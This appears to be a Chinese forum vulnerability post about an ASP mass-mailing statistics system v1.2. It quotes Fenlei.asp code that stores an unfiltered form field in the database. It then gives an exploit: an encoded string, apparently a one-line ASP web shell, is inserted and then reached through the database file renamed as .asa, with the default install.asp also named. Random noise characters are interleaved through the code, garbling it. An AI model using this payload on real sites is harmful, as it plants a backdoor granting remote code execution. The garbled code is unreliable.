铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
& @7 [8 {( G5 p+ A4 m
IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
( H7 C9 j* H, J/ X2 v8 f5 Y6 RIF Countss ("tui","Fenlei",ID )<>0 then
'略
7 G& c5 l# U1 f1 m  zIF Request.QueryString("Action")="Add" Then
* ?1 l- x& T/ b0 a4 s  pTname=Request.Form("Typename")
; I+ ?$ q: w8 J, c  g( n+ F9 I0 r% _Set Rs=Server.CreateObject("adodb.Recordset")
, D( v' d6 Q3 M8 r5 {4 v; K4 ySql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
/ G  a) F. q0 u- x# mSql="Select * From Fenlei Order by id Desc "
$ ^( L, H  ^2 z5 vRs.Open Sql,Conn,1,1
'略
%>
3 G) a: j- f/ F# A% Y! S

+ A6 s' c& G! u# q, D, p" |  q
没有过滤，直接写入数据库。

7 F* P) U- d- w( C* L利用方法：
8 L/ V8 b# H, ?) y  o/ p( o
插入：┼攠數畣整爠煥敵瑳∨≡┩>
6 r; \' `2 a3 }/ t0 G
) m' m7 d+ m" b8 Y+ k% H; A; E
% T5 }8 \4 q2 }5 W- A连接： http://www.xxx.com/###tongbaner.asa
: `  w. ]2 l. B# D3 A'默认安装文件：
% T+ j; ~8 x% z- L; p'install.asp
% I" P1 q  r% \: h' n# d) T